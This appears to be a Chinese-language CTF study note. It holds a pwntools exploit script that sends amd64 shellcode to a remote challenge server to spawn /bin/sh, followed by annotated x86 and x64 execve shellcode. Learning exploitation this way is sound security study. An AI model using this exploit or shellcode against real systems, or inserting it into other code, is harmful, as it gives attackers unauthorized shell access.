pwn-bllbl_shellcode_2(汇编)
from pwn import *
def conn():
global r
#r = process("./pwn22")
r = remote("1.95.36.136", 2050)
context(arch="amd64")
#r = remote("1.95.36.136", 2120)
def pwn():
r.recvuntil(b"addr1:")
buf = r.recvline()[:-1].decode()
print("buf>>>",buf)
jmp_rsp = 0x401380
sh = 0x402047
shellcode = asm("""
mov al,0x3b
mov esi,edi
mov edi,0x402047
mov edx,esi
syscall
""")
shellcode += p64(jmp_rsp) + asm("sub rsp,0x15;jmp rsp")
#gdb.attach(r,"b *0x401376")
r.sendline(shellcode)
#pause()
r.interactive()
conn()
pwn()
解释:x64中,al是设置系统调用号,execve 的系统调用号为 59 (0x3b),rsi 存储 argv 的地址 ,(默认0),rdi 存储 /bin/sh 的地址 ,rdx 存储 envp 的地址,默认为 0
x86的shellcode汇编
section .text
global _start
_start:
; 将 /bin/sh 字符串放入栈中
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp ; ebx 存储 /bin/sh 的地址
; 设置参数数组 argv
xor ecx, ecx
push ecx
push ebx
mov ecx, esp ; ecx 存储 argv 的地址
; 设置环境变量数组 envp 为 NULL
xor edx, edx ; edx 存储 envp 的地址,这里设为 0
; 设置系统调用号,execve 的系统调用号为 11
mov al, 11
; 触发系统调用
int 0x80
; 退出程序
mov al, 1
xor ebx, ebx
int 0x80
在 x86(32 位)架构下,execve 系统调用号是 11,通过 int 0x80 指令触发。
可默认设为 0 的值
envp 参数:
envp 数组用于传递环境变量给新程序。若不需要传递额外的环境变量,可将其设置为 NULL。在汇编代码中,通过 xor edx, edx 将 edx 寄存器清零,使 envp 指针指向 NULL。
argv 数组中的额外参数:
若仅需执行 /bin/sh 而不传递额外的命令行参数,argv 数组可以只包含程序名 /bin/sh 和一个 NULL 元素。代码里,先通过 xor ecx, ecx 将 ecx 清零,再构建 argv 数组,保证其以 NULL 结尾。
x64的shellcode汇编
section .text
global _start
_start:
; 将 /bin/sh 字符串放入栈中
xor rdx, rdx
push rdx
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp ; rdi 存储 /bin/sh 的地址
; 设置参数数组 argv
xor rsi, rsi
push rsi
push rdi
mov rsi, rsp ; rsi 存储 argv 的地址
; 设置环境变量数组 envp 为 NULL
xor rdx, rdx ; rdx 存储 envp 的地址,这里设为 0
; 设置系统调用号,execve 的系统调用号为 59
mov rax, 59
; 触发系统调用
syscall
; 退出程序
mov rax, 60
xor rdi, rdi
syscall
在 x86_64 架构下,系统调用是通过 syscall 指令触发的,execve 系统调用号为 59(十进制)
可默认设为 0 的值
envp 参数:
在上述代码中,envp 数组用于传递环境变量给新程序。如果不需要传递额外的环境变量,可以将其设置为 NULL。在汇编代码里,通过 xor rdx, rdx 将 rdx 寄存器清零,使得 envp 指针指向 NULL。
argv 数组中的额外参数:
如果只需要执行 /bin/sh 而不传递额外的命令行参数,argv 数组可以只包含程序名 /bin/sh 和一个 NULL 元素。在代码中,通过 xor rsi, rsi 先将 rsi 清零,然后构建 argv 数组,确保其以 NULL 结尾。